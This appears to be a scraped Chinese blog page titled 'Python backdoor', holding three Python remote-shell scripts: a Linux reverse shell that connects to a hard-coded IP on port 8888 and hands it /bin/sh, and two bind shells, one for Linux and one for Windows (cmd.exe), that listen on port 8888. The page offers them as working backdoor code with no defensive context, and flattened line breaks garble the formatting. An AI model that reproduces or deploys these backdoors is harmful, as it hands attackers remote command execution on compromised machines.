Python后门

来源:互联网 发布:linux下安装jira 编辑:程序博客网 时间:2024/06/08 14:15

linux反向

# !/usr/bin/env python# -*- coding: utf-8 -*-# @author Luffyimport socket,subprocess,oss=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect(("192.168.226.1",8888))os.dup2(s.fileno(),0)os.dup2(s.fileno(),1)os.dup2(s.fileno(),2)p=subprocess.call(["/bin/sh","-i"])

linux正向

# !/usr/bin/env python# -*- coding: utf-8 -*-# @author Luffyimport socket,subprocess,oss=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.bind(("0.0.0.0",8888))s.listen(5)args,addr = s.accept()print("connect from",addr)p = subprocess.Popen(["/bin/sh","-i"], stdin=args,                stdout=args, stderr=args, shell=True)

windows正向

# !/usr/bin/env python# -*- coding: utf-8 -*-# @author Luffyfrom socket import *import subprocessimport os, threading#创建函数读取subprocess的输出def func(args, proc):        while True:                msg = proc.stdout.readline()                args.send(msg)if __name__ == "__main__":    server=socket(AF_INET,SOCK_STREAM)    server.bind(('0.0.0.0',8888))    server.listen(5)    print 'waiting for connect'    args, addr = server.accept()    print 'connect from',addr    proc = subprocess.Popen('cmd.exe /K', stdin=subprocess.PIPE,                 stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)    t = threading.Thread(target=func,args=(args,proc))#创建新的线程读取返回,如果不创建新的线程,只能执行一次命令    t.setDaemon(True)    t.start()    while True:        cmd = args.recv(1024)#获取客户端命令行输入        proc.stdin.write(cmd)#执行命令        proc.stdin.flush()#刷新
原创粉丝点击